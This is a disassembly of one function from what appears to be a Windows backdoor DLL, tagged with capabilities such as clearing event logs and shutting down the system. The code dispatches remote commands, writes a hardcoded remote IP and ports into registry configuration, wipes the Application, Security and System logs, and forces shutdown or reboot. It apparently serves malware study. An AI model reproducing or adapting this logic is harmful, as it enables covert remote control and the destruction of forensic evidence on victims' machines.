Function at 0x1000acf0
Capabilities:
Access the windows event log
Clear windows event logs
Delete registry value
Query or enumerate registry value
Set registry value
Shutdown system
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [esp + 0x14]
push eax
push 0x20019
push 0
push str.Console
mov ebx, ecx
push SysReAllocString
mov dword [esp + 0x34], ebx
mov dword [esp + 0x2c], 3
mov dword [esp + 0x30], 0
call edi
test eax, eax
jne 0x1000ad50
lea ecx, [esp + 0x1c]
push ecx
push eax
lea edx, [esp + 0x20]
push edx
push eax
mov eax, dword [esp + 0x24]
push str.IpDatespecial
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp dword [esp + 0x1c], 1
ja 0x1000b7b5
mov esi, dword [ebp + 8]
movzx eax, byte [esi]
cmp eax, 0xca
ja case.0x1000ad73.20
movzx ecx, byte [eax + 0x1000b820]
jmp dword [ecx*4 + 0x1000b7c0]
cmp dword [ebx + 0x42c], 0
lea eax, [ebx + 0x42c]
jne 0x1000b7b5
push 1
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [ebx + 8], 0
mov byte [esp + 0x13], 0xcb
jne 0x1000b7b5
mov ebx, dword [ebx + 4]
mov edx, dword [ebx]
mov edx, dword [edx + 8]
push 1
lea eax, [esp + 0x17]
push eax
mov ecx, ebx
call edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
cmp dword [ebp + 0xc], 0xa45
jne 0x1000b7b5
push 0xa44
call fcn.1000f5f7
add esp, 4
push 0xa44
mov edi, eax
push 0
push edi
mov dword [esp + 0x20], edi
call fcn.10016660
inc esi
mov ecx, 0x291
add esp, 0xc
rep movsd dword es:[edi], dword [esi]
cmp dword [ebx + 0x430], 1
jne 0x1000ae19
mov eax, dword [esp + 0x14]
add eax, 4
push eax
push str._s_bin
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov esi, dword [0x10031f38]
cmp esi, dword [0x10031f3c]
je 0x1000ae7a
mov edi, dword [esp + 0x14]
jmp 0x1000ae30
mov eax, dword [esi]
mov eax, dword [eax + 0x10]
lea ecx, [edi + 4]
add eax, 4
jmp 0x1000ae40
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x1000ae66
test dx, dx
je 0x1000ae62
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x1000ae66
add eax, 4
add ecx, 4
test dx, dx
jne 0x1000ae40
xor eax, eax
jmp 0x1000ae6b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000aed4
add esi, 4
cmp esi, dword [0x10031f3c]
jne 0x1000ae30
push 0xa45
call fcn.1000eee4
mov edi, dword [esp + 0x18]
add esp, 4
mov esi, eax
push 0xa44
lea eax, [esi + 1]
push edi
mov byte [esi], 5
push eax
mov dword [edi + 0x204], 0
call fcn.10017550
add esp, 0xc
push esi
mov edx, 0xa45
mov ecx, ebx
call fcn.10002ba0
push edi
call fcn.1000eeef
add esp, 4
push esi
call fcn.1000eeef
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [esi]
mov edi, dword [eax + 0x10]
mov ecx, dword [esp + 0x14]
add ecx, 0x20c
lea eax, [edi + 0x20c]
lea esp, [esp]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x1000af16
test dx, dx
je 0x1000af12
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x1000af16
add eax, 4
add ecx, 4
test dx, dx
jne 0x1000aef0
xor eax, eax
jmp 0x1000af1b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000af8e
test edi, edi
je 0x1000af35
push edi
call fcn.1000eeef
mov ecx, dword [esi]
add esp, 4
mov dword [ecx + 0x10], 0
mov edx, dword [esi]
mov eax, dword [edx + 0x14]
test eax, eax
je 0x1000af50
push eax
call fcn.1000f9b9
mov eax, dword [esi]
add esp, 4
mov dword [eax + 0x14], 0
mov eax, dword [esi]
test eax, eax
je 0x1000af65
push eax
call fcn.1000eeef
add esp, 4
mov dword [esi], 0
mov ecx, dword [0x10031f3c]
lea eax, [esi + 4]
sub ecx, eax
sar ecx, 2
add ecx, ecx
add ecx, ecx
push ecx
push eax
push esi
call fcn.1000ef10
add esp, 0xc
sub dword [0x10031f3c], 4
jmp 0x1000ae7a
mov ecx, dword [esi]
push 0
push 0
push ecx
push 0x1000a6e0
push 0
push 0
call fcn.1000f919
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esp + 0x14]
push edx
call fcn.1000eeef
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push 0xa44
call fcn.1000f5f7
add esp, 4
push 0xa44
mov ebx, eax
push 0
push ebx
call fcn.10016660
inc esi
mov ecx, 0x291
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebx + 0x208]
add esp, 0xc
push ecx
call fcn.1000eee4
mov edx, dword [ebx + 0x208]
mov esi, eax
mov eax, dword [ebp + 8]
add esp, 4
push edx
add eax, 0xa45
push eax
push esi
mov dword [esp + 0x20], esi
call fcn.10017550
add esp, 0xc
push 0x1c
call fcn.1000f5f7
mov ecx, dword [esp + 0x24]
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], esi
lea edx, [ecx + 0x14]
mov dword [eax + 4], edx
mov edx, dword [ecx + 0x424]
mov dword [eax + 8], edx
mov edx, dword [ecx + 0x428]
mov dword [eax + 0xc], edx
mov edx, dword [ecx + 0x430]
mov dword [eax + 0x18], edx
mov dword [esp + 0x20], eax
mov dword [eax], ecx
add esp, 4
lea eax, [esp + 0x1c]
call fcn.1000ce60
mov eax, dword [ebx + 0x208]
add eax, 0xa60
push eax
mov dword [esp + 0x24], eax
call fcn.1000eee4
add esp, 4
mov dword [esp + 0x18], eax
test eax, eax
je 0x1000b143
mov edx, dword [esp + 0x14]
mov edi, eax
mov ecx, 0x291
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x1c]
lea edi, [eax + 0xa44]
mov ecx, 7
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebx + 0x208]
push ecx
push edx
add eax, 0xa60
push eax
call fcn.10017550
add esp, 0xc
lea eax, [esp + 0x14]
push eax
push str.Console0
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x1000b12b
push 0x1fe
call fcn.1000eee4
add esp, 4
push 0
push 0
push 0
push 0
mov esi, eax
push 0
lea ecx, [ebx + 4]
push esi
xor edx, edx
call fcn.10005a00
mov ecx, dword [esp + 0x2c]
add esp, 0x18
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
push edx
push eax
push 3
push 0
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test esi, esi
je 0x1000b12b
push esi
call fcn.1000f9b9
add esp, 4
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x18]
push eax
call fcn.1000f9b9
add esp, 4
mov ecx, dword [esp + 0x1c]
push 0
push 0
push ecx
push 0x1000a6e0
push 0
push 0
call fcn.1000f919
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push 1
push ebx
call fcn.1000ba60
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
xor edi, edi
push edi
push edi
push edi
push edi
lea edx, [esp + 0x24]
push edx
lea edx, [esp + 0x34]
lea ecx, [esp + 0x30]
mov dword [esp + 0x28], edi
mov dword [esp + 0x30], edi
mov dword [esp + 0x34], edi
call fcn.1000bbd0
mov dword [esp + 0x1c], eax
cmp dword [esp + 0x14], edi
jne 0x1000b216
push 0x200
call fcn.1000f5f7
add esp, 4
push 0x200
mov esi, eax
push edi
push esi
call fcn.10016660
add esp, 0xc
push 0x10025040
push 0x1002579c
push str._s__s_n
lea eax, [esi + 2]
push 0xff
push eax
mov byte [esi], 1
call fcn.1000f748
add esp, 0x14
cmp dword [ebx + 8], edi
jne 0x1000b204
mov ebx, dword [ebx + 4]
mov edx, dword [ebx]
mov eax, dword [edx + 8]
push 0x200
push esi
mov ecx, ebx
call eax
push esi
call fcn.1000eeef
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov edi, dword [esp + 0x14]
inc edi
push edi
call fcn.1000eee4
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x20]
add esp, 4
mov esi, eax
push ecx
push edx
lea eax, [esi + 1]
push eax
mov byte [esi], 3
call fcn.10017550
add esp, 0xc
push esi
mov edx, edi
mov ecx, ebx
call fcn.10002ba0
cmp dword [esp + 0x1c], 0
je 0x1000b25d
mov ecx, dword [esp + 0x1c]
push ecx
call fcn.1000f9b9
add esp, 4
push esi
call fcn.1000f9b9
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov edx, dword [ebp + 0xc]
push edx
push esi
call fcn.1000c1d0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
lea eax, [esp + 0x20]
push eax
push 0
inc esi
push esi
mov dword [esp + 0x2c], 0
push 0x1000c8c0
jmp 0x1000b151
movzx eax, byte [esi + 1]
sub eax, 0
je 0x1000b2c4
dec eax
jne 0x1000b7b5
add esi, 2
push esi
mov esi, str.REMARK
call fcn.1000c7c0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
add esi, 2
push esi
mov esi, str.GROUP
call fcn.1000c7c0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
inc esi
push esi
push ebx
call fcn.1000b8f0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
cmp dword [ebx + 8], 0
mov byte [esp + 0x13], 0x13
jne 0x1000b7b5
mov ebx, dword [ebx + 4]
mov edx, dword [ebx]
mov edx, dword [edx + 8]
push 1
lea eax, [esp + 0x17]
push eax
mov ecx, ebx
call edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [esi + 1]
mov esi, dword [esi + 5]
push esi
push eax
xor ecx, ecx
push 1
push ecx
lea eax, [esp + 0x2c]
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x28], ecx
mov dword [esp + 0x30], ecx
push eax
lea edx, [esp + 0x34]
lea ecx, [esp + 0x2c]
call fcn.1000bbd0
mov edi, eax
mov eax, dword [esp + 0x1c]
add eax, 5
push eax
mov dword [esp + 0x24], eax
call fcn.1000eee4
mov esi, eax
mov eax, dword [esp + 0x20]
add esp, 4
push eax
lea ecx, [esi + 5]
push edi
push ecx
mov byte [esi], 0x13
mov dword [esi + 1], eax
call fcn.10017550
mov edx, dword [esp + 0x2c]
add esp, 0xc
push esi
mov ecx, ebx
call fcn.10002ba0
test edi, edi
je 0x1000b38b
push edi
call fcn.1000f9b9
add esp, 4
push esi
call fcn.1000f9b9
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov edi, dword [sym.imp.ADVAPI32.dll_OpenEventLogW]
mov dword [esp + 0x24], str.Application
mov dword [esp + 0x28], str.Security
mov dword [esp + 0x2c], str.System
xor ebx, ebx
lea ecx, [ecx]
mov edx, dword [esp + ebx*4 + 0x24]
push edx
push 0
call edi
mov esi, eax
test esi, esi
je 0x1000b3df
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogW]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
inc ebx
cmp ebx, 3
jl 0x1000b3c0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
call fcn.1000c850
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 1
call fcn.10007b60
push 0
push 4
call dword [sym.imp.USER32.dll_ExitWindowsEx]
xor ecx, ecx
call fcn.10007b60
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, 1
call fcn.10007b60
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
xor ecx, ecx
call fcn.10007b60
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, 1
call fcn.10007b60
push 0
push 5
call dword [sym.imp.USER32.dll_ExitWindowsEx]
xor ecx, ecx
call fcn.10007b60
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebx + 4]
mov eax, dword [ecx]
mov edx, dword [eax]
call edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push 0x11
call fcn.1000cd40
mov eax, dword [ebx + 0x430]
add esp, 4
sub eax, 0
je 0x1000b4dc
dec eax
jne 0x1000b7b5
push 0x200
mov dword [ebx + 0x430], eax
call fcn.1000f5f7
add esp, 4
push 0x200
mov esi, eax
push 0
push esi
call fcn.10016660
add esp, 0xc
push 0x1002582c
lea eax, [esi + 2]
push 0xff
push eax
mov byte [esi], 1
call fcn.1000f766
add esp, 0xc
cmp dword [ebx + 8], 0
jmp 0x1000b1f0
push 0x200
mov dword [ebx + 0x430], 1
call fcn.1000f5f7
add esp, 4
push 0x200
mov esi, eax
push 0
push esi
call fcn.10016660
add esp, 0xc
push 0x10025810
lea ecx, [esi + 2]
push 0xff
push ecx
mov byte [esi], 1
call fcn.1000f766
add esp, 0xc
cmp dword [ebx + 8], 0
jmp 0x1000b1f0
push 0x7d2
call fcn.1000f5f7
mov ecx, dword [ebp + 0xc]
add esp, 4
push ecx
mov edi, eax
push esi
push edi
call fcn.10017550
add esp, 0xc
lea edx, [esp + 0x14]
push edx
push 2
push 0
push str.Console
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov eax, dword [esp + 0x14]
push str.IpDate
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov ecx, dword [ebp + 0xc]
mov edx, dword [esp + 0x14]
dec ecx
push ecx
lea esi, [edi + 2]
push esi
push 3
push 0
push str.IpDate
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 0x200
test eax, eax
je 0x1000b5fb
call fcn.1000f5f7
add esp, 4
push 0x200
mov esi, eax
push 0
push esi
call fcn.10016660
add esp, 0xc
push 0x10025858
lea eax, [esi + 2]
push 0xff
push eax
mov byte [esi], 1
call fcn.1000f766
add esp, 0xc
cmp dword [ebx + 8], 0
jne 0x1000b5de
mov ebx, dword [ebx + 4]
mov edx, dword [ebx]
mov eax, dword [edx + 8]
push 0x200
push esi
mov ecx, ebx
call eax
push esi
call fcn.1000eeef
mov ecx, dword [esp + 0x18]
add esp, 4
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
call fcn.1000f5f7
add esp, 4
push 0x200
mov edi, eax
push 0
push edi
call fcn.10016660
add esp, 0xc
push 0x1002586c
lea edx, [edi + 2]
push 0xff
push edx
mov byte [edi], 1
call fcn.1000f766
add esp, 0xc
cmp dword [ebx + 8], 0
jne 0x1000b644
mov ecx, dword [ebx + 4]
mov eax, dword [ecx]
mov edx, dword [eax + 8]
push 0x200
push edi
call edx
push edi
call fcn.1000eeef
add esp, 4
push 0
push 0x1002e606
push 0x10025734
push esi
call fcn.10008010
push 0
push str.8080
push 0x1002573c
push esi
call fcn.10008010
push 0x1002e840
push 0
push 0x10025744
push esi
call fcn.10008010
push 0
push str.103.19.190.183
push 0x10025880
push esi
call fcn.10008010
add esp, 0x40
push 0
push str.8181
push 0x10025888
push esi
call fcn.10008010
push 0x1002ea80
push 0
push 0x10025890
push esi
call fcn.10008010
push 0
push str.19.190.183
push 0x10025898
push esi
call fcn.10008010
push 0
push str.8282
push 0x100258a0
push esi
call fcn.10008010
add esp, 0x40
push 0x1002ecc0
push 0
push 0x100258a8
push esi
call fcn.10008010
mov eax, dword [esp + 0x24]
add esp, 0x10
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [ebx + 4]
mov edx, dword [ebx]
mov eax, dword [edx]
mov ecx, ebx
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push 0x7d2
call fcn.1000f5f7
add esp, 4
cmp dword [ebp + 0xc], 0x7d2
mov edi, eax
jne 0x1000b7b5
push 0x7d2
push esi
push edi
call fcn.10017550
add esp, 0xc
push 0
push 0
push edi
push 0x1000aa00
jmp 0x1000b151
lea ecx, [esp + 0x1c]
push ecx
push 2
push 0
push str.Console
push SysReAllocString
call edi
mov edx, dword [esp + 0x1c]
push str.IpDatespecial
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
cmp byte [esi + 1], 0
jne case.0x1000ad73.3
push 0
push ebx
call fcn.1000ba60
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push eax
call fcn.1000cd40
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8